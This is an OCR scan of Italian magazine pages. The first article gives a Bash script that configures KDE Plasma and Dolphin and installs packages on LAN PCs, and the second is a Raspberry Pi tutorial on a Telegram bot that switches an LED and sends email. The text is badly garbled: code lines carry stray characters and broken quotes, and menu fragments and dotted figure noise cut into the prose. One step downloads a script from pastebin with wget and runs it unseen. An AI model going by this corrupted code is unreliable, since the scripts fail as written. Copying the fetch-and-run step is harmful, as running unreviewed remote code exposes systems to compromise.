giungiamo una nuova traccia cliccando sull'ultima col tasto destro 
e scegliendo Aggiungi nuova traccia. 


inserire una transizione riferita a Video2, creare un 
fotogramma chiave ad un certo punto (sarà il punto in cui il 
testo appare) e tornare al primo fotogramma chiave per posi- 
zionare il titolo fuori dall'inquadratura. 
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hi gestisce una rete LAN si trova spesso 

nella necessità di configurare tutti i PC in 

modo uguale. Ad esempio, tutti i compu- 
ter di una sala informatica devono avere gli stessi 
strumenti software e le stesse impostazioni, così 
insegnanti e bambini non si troveranno spaesati 
ogni volta che cambiano postazione. Invece, in una 
azienda può essere utile fornire a tutti i dipendenti 
lo stesso ambiente di lavoro di base, così sarà anche 
più facile spiegare il funzionamento del sistema con 
tutorial e corsi d'aggiornamento aziendali. Proprio 
nell’ottica di semplificare la vita alle persone meno 
esperte, conviene puntare su un ambiente grafico 
che assomigli quanto più possibile a Microsoft 
Windows, il sistema che, purtroppo, tutti conosco- 


File Modifica Visualizza Segnalibri Impostazioni 


Per lavorare con immagini e PDF servono alcuni 
pacchetti: img2pdf, imagemagick, e ghostscript. È 
necessario installarli tramite il proprio gestore dei pacchetti 
(Muon, ad esempio, o aptitude). 
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TUNING! 


Arricchiamo l'ambiente desktop con funzioni 
che ci facilitano la vita e cloniamo le impostazioni 


anche su altri PC della LAN 


no. Per questo motivo, l’opzione più ovvia è pro- 
babilmente KDE, con il suo desktop Plasma, che 
ad un primo sguardo offre la classica barra degli 
strumenti in basso, con il pulsante del menu prin- 
cipale a sinistra e le icone a destra. La distribuzione 
più ovvia è Kubuntu, ma ovviamente ne esistono 
molte altre. Kubuntu, subito dopo l’installazione, 
offre un ambiente già ben configurato, con tutti i 
programmi fondamentali per cominciare a lavorare. 
Tuttavia, mancano molti piccoli ritocchi per rendere 
il sistema non soltanto simile a Windows, ma an- 
che migliore dal punto di vista dell’usabilità. Non 
dimentichiamo, infatti, che le persone sono pigre 
e non hanno voglia di imparare come funziona un 
nuovo sistema operativo: tutto deve essere intuitivo. 
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CONFIGURAZIONE 
AUTOMATICA 


Le modifiche da fare sono quindi tante: 
dovremo ripeterle manualmente su tutti i 
computer che gestiamo? No, naturalmente, 
siamo su GNU/Linux e possiamo programmare 
automaticamente tutti i sistemi. Infatti, non 
dovremo fare altro che realizzare un semplice 
script Bash ed eseguirlo su tutti i PC: lo 
script eseguirà per noi le varie modifiche alla 
configurazione dell'ambiente grafico. Lo script 
che proponiamo è un esempio delle varie 
modifiche che si possono fare, è ovviamente 
possibile modificarlo seguendo la stessa logica 
per adattarlo alle proprie esigenze. 


File Modifica Visualizza Segnalibri Impostazioni 
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Un comodo servicemenu per Dolphin che consen- 
te la conversione di file in PDF si può scaricare con il 
comando: wget https://dl.opendesktop.org/api/files/download/ 


id/1460731752/118537-image2pdf.desktop. 


Miglioriamo Dolphin 


Installiamo plug-in e configuriamo a puntino il file manager 
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CONFIGURAZIONE 


01 IL servicemenu per creare i PDF può essere instal- 

lato dando il comando sudo mv 118537-image2pdf. 

desktop /usr/share/kservices5/ServiceMenus/image2pdf.de- 
sktop. Poi si deve eseguire kbuildsycoca5. 


File Modifica Visualizza Progetti Segnalibri Sessioni Strumenti Impostazioni Aiuto 
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BARRA DEL FILTRO 
03 Un'ulteriore miglioria da aggiungere a Dolphin è la 
barra del filtro: possiamo farla apparire modificando 
il file -/.kde/share/config/dolphinrc. Basta aggiungere, nella 
sezione General la riga FilterBar=true. 
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IL TASTO DESTRO 

02 Ora è possibile aprire una nuova finestra del file 

manager Dolphin e vedere che nel menu che appa- 

re premendo il tasto destro del mouse appare Azioni/Converti 
immagini in PDF: utile per convertire le scansioni. 
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ANTEPRIME FILE 
04 Può anche essere utile vedere le anteprime dei file: 
le possiamo ottenere installando appositi pacchetti. In 
particolare, possiamo installare i pacchetti kffmpegthumbnailer e 
kde-thumbnailer-openoffice per vedere filmati e i documenti ODF. 


#!/bin/bash 


Cominciamo lo script con la classica shebang, per 
chiarire che si tratta di uno script Bash. 


sudo apt-get install img2pdf? 
imagemagick ghostscript skanlite kamoso 


Ora, installiamo un paio di programmi per PDE, 
scansioni, ed affini. 

Kubuntu viene infatti fornito dell’ottimo Okular, 
una delle migliori alternative ad Acrobat Reader, 
ma per manipolare PDF ed immagini servono 
altri programmi. Inoltre, può essere utile Skanlite 
per eseguire scansioni (anche con scanner di rete) 
in modo semplice ed immediato, e Kamoso per 


scattare fotografie dalla webcam (funzione utile per 
sostituire le fototessere). 


wget https://dl.opendesktop.org/? 
api/files/download/id/1460731752/Y 
118537-image2pdf . desktop 
sudo mv 118537-image2pdf.desktop / 
usr/share/kservices5/ServiceMenus/3 
image2pdf . desktop 


Installiamo il servicemenu del file manager Dolphin 
con un paio di comandi, semplicemente scaricando 
il suo codice e posizionandolo nell’apposita cartella. 
Il download può essere fatto come utente semplice, 
ma è necessario avere i privilegi di amministrazione 
per spostare il file nella cartella di installazione. 


Quindi utilizziamo sudo. 


sudo apt-get install kffmpegt) 
humbnailer kde-thumbnailer-openoffice 
kbuildsycoca5 


Poi, si possono anche installare i plugin di 
Dolphin che si occupano di produrre anteprime 
di video e documenti ODF. Per applicare 
le modifiche è necessario dare il comando 
kbuildsycocoa5 (questo script è infatti 


progettato per KDES). é 


dolphinrc=$HOME" /.kde/share/t 
config/dolphinre” 
filterbar=" [General] \nFilterBar=true” 
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Passiamo ora a controllare la configurazione di 
Dolphin: il file si trova nella home, al percorso 
.kde/share/config/dolphinrc, e quello che noi 
vogliamo ,è inserire la riga FilterBar=true 
nella sezione General. La sequenza di escape 
\n manda a capo la riga FilterBar. 


if [ ! -£ $dolphinrc ]; then 

echo -e $filterbar >> $dolphinrc 

bitik i 

Nel caso in cui il file non esista proprio, basta crearlo 
inserendo al suo interno le righe che vogliamo con 
il comando echo. 


if grep -q “FilterBar=false” 1 
“$dolphinrce”; then 
sed -i ‘s/FilterBar=false/© 


FilterBar=true/’ “$dolphinrc” 


fi 


Con il comando grep possiamo controllare 
se il file contenga la riga FilterBar= 
false. In tal caso, significa che la barra del 
filtro è disabilitata. Possiamo  abilitarla 
semplicemente sostituendo quella riga con la 
versione in cui il valore è true, così la barra 


sarà abilitata. 


if grep -q “‘FilterBar=true” 3% 

ì “$dolphinrc”; then 
echo “FilterBar OK” 
else 


Se, a questo punto, il file contiene la riga che 
abilita la barra del filtro, va tutto bene. Altrimenti 
dobbiamo provvedere. 


if grep -q “\[General\]"3 
“$dolphinrc”; then 
sed -i “s/\[General\]/${filterbar}/t 
" “$dolphinrc” 


È possibile che la sezione General esista, ma 
che non contenga alcuna riga di tipo FilterBar. 
Quindi, basta sostituire la riga [General] con le 
righe [General]]\nFilterBar=true. Ovviamente, è 
necessario imporre il carattere di escape davanti 
alle parentesi quadre, che altrimenti vengono 
interpretate da grep e sed come espressioni 
regolari. 


else 

echo -e $filterbar >> $dolphinrc 
fi 

fi 


Semplifichiamo la gestione delle immagini 


Aggiungiamo al visualizzatore Gwenview i plug-in Kipi 
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1) UN REPOSITORY 
Per gestire le immagini, uno degli strumenti miglio- 
ri è rappresentato dai KipiPlugins, nella loro ultima 
versione (al momento, la numero 5). Li troviamo in un repository 
non ufficiale: possiamo aggiungerlo con il comando sudo add-apt- 
repository ppa:philip5/extra. 


PIRATI Ia 


MENU DEI PLUG-IN 
03 Ora, dovremmo notare che nel menu Estensioni di 
Gwenview sono presenti una serie di strumenti per 
modificare le immagini, caricarle o importarle su o da servizi di 
storage on-line e, soprattutto, l'utilissimo Estensioni/Immagini/ 
Assistente di stampa. 
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02 INSTALLAZIONE 
Aggiorniamo l'elenco dei pacchetti con sudo apt-get 
update e poi siamo pronti per installare le ultime 
versioni dei plug-in e di Gwenview, uno dei migliori visualiz- 
zatori di immagini FOSS: da terminale lanciamo, sudo apt-get 
install kipi-plugins5 gwenview. 
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I FONT EULA 

Per essere sicuri che vengano visualizzati cor- 
rettamente tutti i font, in documenti o immagi- 
ni vettoriali, è necessario installare quelli proprietari. Si 
trovano solitamente nel pacchetto ttf-mscorefonts-installer 
e sono forniti con licenza EULA. 


04 


PROPRIO COME WINDOWS 10? 


Lavoriamo in un'azienda che sta cominciando una transizione da sistemi Microsoft - 
Windows a GNU/Linux? Il modo migliore per rendere la cosa quanto più indolore pos- 
sibile per gli utenti è far assomigliare l'ambiente desktop all'interfaccia di Microsoft. 
Esistono. decine di stili di KDE facilmente installabili che ricalcano le varie interfacce 


di Windows, da XP a Windows 7 fino alla più recente versione’ 10. Proprio l'interfaccia 
di Windows 10 sembra la più adeguata, perché ormai è la più diffusa {seguita da Win- 
dows 7, che però è forse più intuitivo). A tale proposito, suggeriamo di puntare sultema 
www.edmaster.it/url/6885 e sul set di icone www.edmaster.it/url/6886. Questi permettono di 
far somigliare il proprio Plasma5 al desktop di Windows 10, facilitandone l'utilizzo agli 
utenti meno pratici e facilmente spaventati da una grafica che non conoscono. 


In alternativa, è possibile che non esista nemmeno 
la sezione General, anche se il file di per sé 
esiste (potrebbe essere vuoto). In tal caso basta 
aggiungere in coda al file la sezione General così 
come l’abbiamo descritta nella variabile filterbar. 
Ovviamente, questo esempio può essere applicato 
anche ad altre righe del file, nel caso si vogliano 
applicare altre impostazioni al file manager 
Dolphin. 


sudo add-apt-repository ppa:philip5/Y 
extra 
sudo apt update 
sudo apt-get install kipi-plugins5} 
gwenview 


Dopo il file manager, dobbiamo anche occuparci 
del gestore delle immagini: Gwenview è uno dei 
gestori di immagini più completo e di semplice 
utilizzo dell’intero mondo GNU/Linux. Tuttavia, 
nella sua ultima versione i plug-in Kipi non 
sono installati di serie. E sono davvero molto 
utili: non solo permettono di stampare fotografie 
impaginandole in qualsiasi modo si desideri, ma 
anche di scaricare o caricare immagini su servizi 
on-line (da Flickr a Facebook, ecc.). Per farlo si 
deve aggiungere un repository apposito con il 
comando add-apt-repository e poi installare le 
ultime versioni di Gwenview e dei plug-in Kipi. 


sysrq="/etc/sysctl.d4/10-magic-sysrq.} 
conf” 
if grep -q “‘kernel.sysra” “$sysrq”;} 
then 
sed -i “‘s/‘kernel.sysrq/kernel.sysrq? 
= 1 #/” “$sysra” 
else 
echo -e “kernel.sysrq = 1” >>I 
“$sysra” 
fi 
siano abilitati i 


Assicuriamoci anche che 


MagicSysRQ: sono dei tasti che permettono di 
recuperare il controllo su un computer bloccato, 
soprattutto la combinazione Alt+Stamp+ 
F. Usando lo stesso meccanismo del file di 
configurazione di Dolphin, verifichiamo che nel 
file di configurazione dei MagicSysRQ sia presente 
l’apposita riga. Il carattere * serve ad indicare 
che vogliamo sostituire la riga soltanto se il testo 


_ comincia proprio ad inizio riga: se così non fosse 


significherebbe che prima del testo c’è un altro 
carattere, per esempio #, quindi la riga non sarebbe 
comunque valida e non avrebbe senso sostituirla. 


sudo apt-get install cups hplip * 
hplip-gui 


È anche importante assicurarsi che il server di 
stampa sia correttamente installato. Nel caso in 
cui si vogliano utilizzare stampanti o scanner 
HP, conviene installare l’ottima suite HPLIP, 
che include tutti i driver ed alcuni strumenti per 
gestire le stampanti. 


sudo apt-get install vlc speedcrunch? 
rar unrar filelight 


Concludiamo installando un paio di programmi 


Scamsione Visualizza = Vai Impostazioni Auto 


Biani i <ide ) Addeg sa |M Miscansiona sine (1 


emi a 


che, pur non essendo forniti di serie, sono davvero 
importanti per avere un computer pienamente 
utilizzabile: il riproduttore multimediale VLC, la 
calcolatrice rapida SpeedCrunch, il programma 
per creare ed estrarre archivi rar, e l’analizzatore 
del disco rigido FileLight. Quest'ultimo è 
pafticolarmente utile per scoprire quali cartelle e 
file stiano occupando più spazio sul disco, e quindi 
cosa rimuovere per liberare spazio. 


ALTRI PROGRAMMI UTILI 
Vi sono degli altri programmi particolarmente utili 
per specifici casi. Ecco un breve elenco con il nome 
dei pacchetti da installare con apt-get: 


* aptitude: un gestore dei pacchetti molto 
comodo per terminale; 

e inkscape: forse il più famoso programma 
FOSS per il disegno vettoriale; 

* scribus scribus-data scribus-template: un 
programma di impaginazione professionale; 

* filezilla: un client FTP; 

e chromium-browser: la versione FOSS di 
Google Chrome; 

* samba smbclient: un client per accedere 
alle risorse di rete Windows. 


Se ci interessano, basta aggiungerli all’ultimo 
comando dello script. Poi dobbiamo solo scaricare 
lo script (wmww.edmaster.it/url/6887) su ciascun 
PC ed eseguirlo con i comandi: 


wget -O ./kdetuning.sh http://4 
pastebin.com/raw/7SbgnrPY 

dos2unix ./kdetuning.sh 

chmod +x ./kdetuning.sh 

./kdetuning.sh 


E tutti PC della nostra rete avranno la stessa 
configurazione. 


W Fig. 1 - Filelight aiuta ad identificare cartelle e file di grandi dimensioni 
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Grea un bot 
col Raspberry 


I nostri esperti ti spiegano come controllare, anche da remoto, il tuo 


Raspberry Pi tramite Telegram. Ecco come fare! 


ome molti di noi sapranno già, i Rasperry Pi sono una se- 

rie di mini-PC di tipo single-board (ovvero, una singola 

scheda elettronica equipaggiata con tutti i componenti 
necessari per il funzionamento del computer). Le prestazioni of- 
ferte sono buone e spesso sufficienti per comuni utilizzi di naviga- 
zione, gestione di posta elettronica, videoscrittura e calcolo base. 
Nessuno in casa Raspberry Pi Foundation avrebbe mai ipotizzato 
un successo su scala mondiale tale da scalzare dal terzo posto il 
Commodore 64 per numero di vendite complessive. Nel 2017, in 
circa cinque anni, il brand Raspberry Pi risulta aver venduto oltre 
12 milioni di unità nelle diverse incarnazioni (8 per la precisione: 
A, B, A+, B+, 2, Zero, 3, Zero W) dimostrando un interesse oltre 
ogni rosea aspettativa: basti pensare che i progettisti ipotizzavano 
di terminare la produzione al raggiungimento di circa 10.000 unità. 
La versione più economica fornita di adattatori Wi-Fi e Bluetooth 
integrati, Pi Zero W, ha venduto 100.000 unità solo nel suo primo 
giorno di vita! Nato concettualmente nel 2006, vede nel 2012 la sua 
prima immagine ufficiale basata su Debian 6, LKDE come desktop 
environment e Midori come browser. Successivamente questa di- 
stribuzione prese il nome di Raspbian. 
In queste pagine scopriremo come utilizzare in maniera “alternati- 
va” un qualsiasi Raspberry Pi. 
Come? Controlleremo il Raspberry 
Pi utilizzando Telegram sem- 


& Fig. 1 © Ecco il Raspberry Pi 3 che abbiamo utilizzato 
realizzare il nostro test 
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Il codice completo lo trovi su: www.edmaster.it/url/6925 


plicemente realizzando un bot scritto in Python. Più precisamente, 
un primo progetto ci permetterà di controllare l'accensione o lo 
spegnimento di un LED collegato al mini-PC. E se non vogliamo 
“sporcarci le mani” con l'elettronica scopriremo anche come creare 
un bot che invia in automatico dei messaggi di posta elettronica. Ci 
siamo affidati ad un Raspberry Pi 3 per semplici motivi di disponi- 
bilità: è bene precisare, però, che questo progetto non ha comunque 
problemi ad essere eseguito sulle “vecchie” versioni di Raspberry 
Pi e neppure sul merio performante e più compatto Zero. 


TELEGRAM VS WHATSAPP 


Per chi non lo sapesse, Telegram è un sistema di messaggistica 
istantanea di origini russe diretto concorrente del più conosciuto 
WhatsApp di proprietà da alcuni anni dell’americana Facebook: 
una guerra fredda digitale per il podio della messaggistica mon- 
diale! Sebbene il numero di utenti attivi mensilmente di Telegram 
(circa 100 milioni) difficilmente raggiungerà quello di 
WhatsApp (1 miliardo), dal canto suo ha sempre inno- 
vato introducendo prima del concorrente diver- 
se soluzioni quali la cifratura punto-punto, la 
possibilità di scambiare sticker e quella 
di inviare file di dimensioni fino ad 1.5 
GB. Gli sviluppatori di Telegram hanno 
inoltre condiviso il codice sorgente dei pro- 
pri client con licenza GNU GPL2 (il codice del 
server è invece proprietario) ed hanno rilasciato le 
API pubblicamente consentendo la realizzazione di client 
paralleli. Ma, soprattutto, ha aperto un mondo di possibilità di 
automatismi ed interazione tramite i suoi bot! 


COME FUNZIONANO I BOT TELEGRAM 


I bot sono semplici account di Telegram controllati da software 
invece che da un essere umano (alcuni li definiscono in maniera 


® Fig. 2 © L'avatar di BotFather richiama chiaramente 
il film "Il Padrino" 


riduttiva “chat automatiche”). Possono rispondere a richieste, ef- 
fettuare ricerche, permettono di ricevere notifiche da siti Web e 
possono integrarsi con servizi on-line (ad esempio con YouTube). 
E, come scopriremo in queste pagine, un bot può addirittura inviare 
comandi a periferiche di tipo Internet of Things. Per una lista ab- 
bastanza completa è possibile consultare il sito https://storebot.me 
che elenca oltre 1000 bot nel suo database. Come funziona un bot? 
Dopo essere stato programmato, un utente che desidera adoperarlo 
apre una normale chat e tramite semplici comandi forniti general- 
mente al primo accesso lo si istruisce su cosa si vorrebbe lui vada a 
fare (ai meno giovani questo ricorderà i buoni vecchi tempi di IRC 
e dei suoi bot negli anni ’90). I bot hanno una serie di limitazioni/ 
caratteristiche: 


e non hanno un online status, 

* hanno una cache dei messaggi limitata; 

* non possono avviare un’interazione con gli utenti a meno che 
non siano questi ad iniziarla; 

e illoro nome termina sempre per bot/Bot; 

e quando aggiunti ad un gruppo per default non ricevono i mes- 
saggi degli utenti della chat; 

e possono ricevere istruzioni tramite comandi preceduti dallo 
slash (/comando) oppure analizzare i termini contenuti nei mes- 
saggi che gli vengono inviati; 

e consentono di presentare una tastiera personalizzata realizzando 
ad esempio interfacce per risposte multiple, calcolatrici, ecc. 


Il padre di tutti i bot, chiamato appunto BotFather (@BotFather) 
fornisce la possibilità di generare un bot personalizzato con il no- 
stro nome, la nostra descrizione e i comandi che gli abbiamo asse- 
gnato. Andremo proprio ad adoperare questo bot per interfacciarci 
con Telegram e il Raspberry Pi. 


CREIAMO IL PRIMO 
BOT CON BOTFATHER 


Come prima operazione andremo a configurare il nostro Raspber- 
ry Pi per l’accesso/controllo remoto tramite SSH, poi creeremo il 
nostro primo bot su Telegram éd infine ne programmeremo la bu- 
siness logic. Per poter procedere nel progetto dobbiamo effettuare 
alcune operazioni attraverso uno qualunque dei client di Telegram: 
suggeriamo quello desktop per semplificare l’operazione di copia 
incolla del codice token che sarà fornito in fase finale di creazione 
del bot. 

Andiamo quindi a cercare come nome utente tramite Telegram 
l’utente botfather e avviamo una chat; BotFather elencherà le di- 
verse funzionalità disponibili: 


/newbot - create a new bot 
/mybots - edit your bots [beta] 
/mygames - edit your games [beta] 


Edit Bots 

/setname - change a bot's name 
/setdescription - change bot description 
/setabouttext - change bot about info 
/setuserpic - change bot profile photo 
/setcommands - change the list of commands 
/deletebot - delete a bot 


Bot Settings 

/token - generate authorization token 

/revoke - revoke bot access token 

/setinline - toggle inline mode 

/setinlinegeo - toggle inline location requests 
/setinlinefeedback - change inline feedback settings 
/setjoingroups - can your bot be added to groups? 
/setprivacy - toggle privacy mode in groups 


Games 

/newgame - create a new game 
/listgames - get a list of your games 
/editgame - edit a game 

/deletegame - delete an existing game 


A questo punto, possiamo digitare nell'area di inserimento dei mes- 
saggi il comando: 


/newbot 


che ci permette di creare il nostro bot. A questo punto, BotFather ci 
chiede il nome da assegnare al nuovo bot: 


Alright, a new bot. How are we going to call it? Please 
choose a name for your bot. 
> TestBot (invio) ® 


Ci viene ora richiesto l'inserimento di una nuova username, che 
può essere uguale al nome del bot (nel nostro caso TestBot): 
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Q Modifica 


Games 

[newgame - create a new game 

Nistgames - get a list of your games 

jedîtgame - edit a game 

]deletegame - delete an existing game 

Neogene 4 DI 
fnewbot 

BotFather 20:59 
Alright, a new bot. How are we going to call it? Please choose a name for your bot. 


(a) Neogene bi vw 20:58 


BotFather 20:59 
\}P_ Good. Now let's choose a username for your bot. it must end in *bot*. Like this, for 
‘example: TetrisBot or tetris bot. 


e Neogene 


BotFather 
Done! Congratulations on your new bot. You will find ît at t.me/ 

+ You can now add a i ‘about section and profile 
picture for your bot, see /help for a list of commands. By the way, when you've 
finished creating your cool bot, ping our Bot Support if you want a better username 
for it. Just make sure the bot is fuliy operational before you do this. 


For a description of the Bot API, see this page: https://core.telegram.org/bots/api 


TO) Scrivi un messaggio... © (0) 


® Fig. 3 è Interagendo con BotFather è possibile creare 
un nuovo bot in pochi secondi 


Good. Now let's choose a username for your bot. It 
must end in “bot°. Like this, for example: TetrisBot or 
tetris_ bot. 

> TestBot (invio) - 


BotFather risponde positivamente alle nostre istruzioni conferman- 
doci la creazione del bot e fornendoci il token di accesso alle API 
HTTP dei bot Telegram. Copiamolo e teniamolo a portata di copia- 
incolla perché tale codice ci servirà a breve. Passiamo quindi alla 
configurazione del nostro Raspberry Pi (per la precisione del siste- 
ma operativo, Raspbian nel nostro caso). 


L'ACCESSO ALLA RETE 


Se abbiamo già connesso il Raspberry Pi tramite cavo Ethernet 
possiamo saltare questa fase. Se, al contrario, desideriamo sfrut- 
tare la connettività Wi-Fi e non l'abbiamo mai fatto, dovremo mo- 
dificare alcuni file presenti nella scheda di memoria collegata al 
Raspberry Pi o, in alternativa, dovremo connettere il mini-PC ad 
un monitor e collegare anche un kit tastiera+mouse. Come prima 
operazione verifichiamo che nel file etc/network/interfaces sia tutto 
configurato correttamente: 


>sudo nano /etc/network/interfaces - 


source-directory /etc/network/interfaces.d 
auto lo i 
iface lo inet loopback 3 
iface eth0 inet manual 
allow-hotplug wlan0 
iface wlan0 inet manual 
wpa-conf /etc/wpa supplicant/wpa supplicant.conf 
allow-hotplug wlanl 


iface wlanl inet manual 
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wpa-conf /etc/wpa supplicant/wpa_supplicant.conf 


Tra queste righe potremmo trovare anche una diversa istruzione: 
auto wlan0. Niente paura: è corretta. Salviamo qualora necessario, 
usciamo da nano ed avviamo una scansione delle reti senza fili alla 
ricerca di quella di nostra proprietà: 


sudo iwlist wlan0 scan 


Il file di configurazione è presente nella directory /etc/wpa_suppli- 
cant e si chiama proprio wpa_supplicant.conf, adoperando l'editor 
nano inseriamo le diverse impostazioni necessarie: 


sudo /etc/wpa supplicant/wpa_supplicant.conf 


Inseriamo all’interno della voce network = {} il nome della rete 
senza fili (nel campo ssid), la password (in psk), e un nome univoco 
per la rete a cui ci stiamo per connettere. Qualora ci servisse spo- 
stare fisicamente il Raspberry Pi in aree con diverse reti Wi-Fi sarà 
sufficiente duplicare il blocco network = { configurazioni } varian- 
done le impostazioni per la rete secondaria (dovremo modificare 
ovviamente il valore del campo priorità il quale crescerà indicando 
una minore importanza della relativa rete): 


ctrl interface=DIR=/var/run/wpa supplicant 
GROUP=netdev 
update config=1 


network={ 
ssid="NOME WIFI” 
psk="PASSWORD WIFI” 
priority = 1 1 
id str="NOME WIFI” 


Verifichiamo tramite ifconfig wlan0 l’attribuzione di un indirizzo 
IP. Se quest'ultimo non dovesse essere già stato assegnato, riavvia- 
mo l’interfaccia: 


sudo wpa cli reconfigure 


® Fig. 4 * L'interfaccia che ci permette di attivare SSH 
sul Raspberry Pi 


Terminata questa operazione passiamo ora ad abilitare la connes- 
sione SSH. 


SSH SUL RASPBERRY PI 


Come prerequisito è necessario che sia il nostro computer che il 
Raspberry Pi siano connessi entrambi alla stessa rete, tramite Wi- 
Fi o Ethernet. Come prima operazione avviamo il Raspberry Pi 
collegandolo ad un monitor, avviamo il sistema operativo e acce- 
diamo al terminale. Installiamo ed abilitiamo SSH sul Raspberry 
Pi: tale operazione sarà effettuata direttamente su terminale tramite 
una finestra apposita (i più esperti potranno comunque abilitarlo 
adoperando diversi comandi): 


sudo raspi-config 


Questo comando presenterà un’interfaccia grafica nella quale do- 
vremo navigare fino a selezionare la voce ssh: entriamo in tale se- 
zione e abilitiamo il server SSH. I più smaliziati potranno effettua- 
re tali operazioni direttamente sulla scheda di memoria collegata 
al mini-PC effettuandome il mount nel proprio sistema operativo. 
Usciamo quindi dall’interfaccia di setup. 

Abbiamo ora la necessità di conoscere l’indirizzo IP ottenuto dal 
Raspberry Pi. Esistono due modalità: la prima consiste nell’acce- 
dere al pannello di gestione del router (solitamente raggiungendo 
da browser l'indirizzo 192.168.1.1) e consultare l’elenco dei dispo- 
sitivi connessi; la seconda, richiede l'esecuzione dal terminale del 
Raspberry Pi del comando hostname: 


hostname -I 


Dopo aver eseguito tale comando otterremo come risultato un in- 
dirizzo IP generalmente del tipo 192.168.x.y (x e y valori numerici 
da 0 a 255) che potrebbe differire a seconda della configurazione 
del router/modem in nostro possesso. Ora che conosciamo l’indi- 
rizzo IP di Raspberry Pi possiamo tornare al nostro computer e 
provare ad accedere tramite terminale adoperando l’omonima ap- 
plicazione via linea di comando. L’utente di default è “pi” (senza 
apici) e la password “raspberry” (sempre senza apici). Nel nostro 
caso, il mini-PC ha come indirizzo IP 192.68.1.79. Per accedere 
via SSH lanciamo dunque da terminale (del nostro PC) il comando: 


ssh pi@192.168.1.79 

Ci verrà richiesto di inserire la password seguita dalla pressione 
del tasto Invio e finalmente avremo completo controllo remoto del 
nostro Raspberry Pi. Possiamo quindi procedere all'installazione 
sul mini-PC di Python Package Index, lo strumento principe per 
installare package realizzati in Python: 


sudo apt-get install python-pip 


Passiamo ora all'installazione di Telepot, un’estensione realizzata 
in Python che consente di comunicare con le API dei bot Telegram: 


sudo pip install telepot 
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® Fig. 5 * La “piedinatura” presente su Raspberry 
consente di connettere decine qualsiasi componente, 
proprio come avviene con Arduino 


Per verificare il corretto funzionamento dell’infrastruttura avviamo 
l’interprete python sul Raspberry Pi: 


python 


Importiamo telepot, inizializziamo il bot inserendo il token ricevu- 
to (attenzione agli apici singoli che lo racchiudono) e invochiamo 
il comando bot.getMe(): 


import telepot 
bot = telepot.Bot(‘TOKEN FORNITO DA BOTFATHER') 
bot.getMe() 


Dopo alcuni secondi riceveremo come risposta alcune semplici in- 
formazioni riguardanti il nostro bot a conferma del corretto funzio- 
namento della libreria. 


{u'username' : u'TestBot' , u'first_name': 
u'TestBot', u'id': 012345678} . i 


Usciamo quindi dall’interprete digitando exit(). 

Tutto è pronto per iniziare a creare il nostro primo script in Python 
che, nel caso specifico ci permette di controllare, anche da remo- 
to, l'accensione e lo spegnimento di un LED collegato al Raspber- 
ry Pi. Le operazioni che seguono possono essere effettuate anche 
adoperando l’interfaccia grafica di Raspian e installando un editor 
di codice per Python; per questo progetto, abbiamo però preferi- 
to lavorare completamente in remoto, affidandoci all'editor nano e 
creando il file bot.py: 
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nano bot.py import RPi.GPIO as GPIO 
GPIO.setmode(GPIO.BOARD) 
GPIO.setup(11, GPIO.OUT) 


IL BOT CONTROLLA I LED 


Dobbiamo far sì che, non appena il bot ricevi il comando /ono/ def on(pin): 


off un LED collegato al pin 11 del Raspberry Pi si accenda o si GPIO.output(pin,GPIO.HIGH) 
spenga. A tal proposito, ricordiamo la necessità di interporre un return 

resistore adatto a limitare la corrente in ingresso nel LED allo def off(pin): 

scopo di evitare che quest'ultimo possa danneggiarsi. GPIO.cutput(pin,GPIO.LOW) 
Oltre alla componentistica standard per il corretto funzionamen- return 

to di Raspberry Pi (alimentatore) dovremo acquistare dunque un 

LED, un resistore, alcuni fili elettrici e opzionalmente una brea- def handle(msg): 

dboard/basetta sperimentale nel caso non volessimo cimentarci chat_id = msg['chat']['id'] 
in saldature. command = msg['text'] 


Compiliamo il file bot.py (creato poco fa) con: 
print ‘Ricevuto comando: %s' % command 
import sys 


import time 3 if command == 'on': 
import random bot.sendMessage(chat id, on(11)) 
import datetime elif command =='off': 
import telepot bot.sendMessage(chat id, off(11)) 


è è è 6 è è è è è è è è è è è è 66 dè 66 666 ved de desde 
è è606 60606 dvd ded 6 v6 devo dé 66 
De | [ri 9 Sil DI i NI 
© è è G è è è 6 è è 0 è 0 è è è è è è è è 6 © è è è è è 6 0 0 
è è 000006 ‘ ‘ ) © è è è © 0 è è è 0 è dv è è 0000 600 
è è è 0 è è 00 ) o è 0 è 0 0 è 0 0 è è è è € è è è è è è è è è è è 6 è è è 0 0 è 0 è è 
veve cesoecosoeo. ) è è è © è è 0 è è è è è è è è è è è è è è 0 è è è è 60 06606. 
oo ee veve è è è è 0 è è è è è è è è 0 0 è è è è è è 0 0 è è è è è è è è 0. 
veve è ve SIC] LTT 
vede eee RO : È. è è 0 è è è è è è è è è è è è è è è è è è è è è è è 0 vv 660 
SCROICROI 0, ; © è è 6 è è è © è è è è è è è è è 6 è 0 è 0 60 6606 06 6 è 
è è è è è è è CARCINA Ca) i © è è 6 è 0 è è è è è è è 6 6 0 è è © è è 00 006 dd 
è è è è 0 è è è è © è è è è è è è è è è è è è è è è è 0 0 660, 
al [es ta] TS n» S w 


ved doo ve 
see vedo dosso 


Pin#11 Raspberry Pi Model 2 v1.1 
GPIO17 Raspberry Pi 2014 


@ Fig. 6 è Schema di collegamento del Raspberry Pi con it LED tramite breadboard 
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bot = telepot.Bot('TOKEN_FORNITO_DA BOTFATHER' ) 
bot.,message loop(handle) 
print 'In attesa...' 
while 1: 
time.sleep(10) 


Il codice è relativamente semplice. Abilita sul pin 11 la possibilità 
di impostarlo su LOW o HIGH (tensione 0 o tensione 3.3V) in 
modo da far interrompere o far fluire la corrente a seconda delle 
necessità. Creiamo due funzioni chiamate on e off le quali accet- 


tano come parametro il pin su cui agire. Nella funzione handle 
intercettiamo il comando ricevuto ed avviamo i suddetti metodi. 
Salviamo quindi le modifiche apportate al file bot.py e usciamo 
da nano. Avviamo lo script con: 


@ Fig. 7 * All'invio del comando il LED collegato al 
Raspberry Pi si accende! 


python bot.py 


Apriamo quindi il nostro client Telegram e iniziamo una chat con 
il bot TestBot cercandolo tramite l’apposito campo di ricerca. 
Lanciamo il comando /on e verifichiamo che il LED collegato al 
Raspberry Pi venga effettivamente acceso. 


IL BOT INVIA UNA MAIL 


Con questo bot attenderemo di ricevere il comando /email per 
inviare tramite Python e la libreria smtplib una mail ad un desti- 
natario a nostra scelta adoperando le nostre credenziali di accesso 
GMail. Un bot di questo tipo potrebbe essere adoperato per in- 
viare richieste di supporto ad un’azienda adoperando Telegram 


quale sistema di raccolta delle informazioni. Creiamo quindi il 
file mailBot.py (stiamo ben attenti a non adoperare mail.py al- 
trimenti genereremo un conflitto in fase di esecuzione con la li- 
breria che andremo ad importare, smtplib) sostituendo indirizzo 
e-mail, password, indirizzo di destinzione e token di botfather: 


#coding=utf-8 
import telepot 
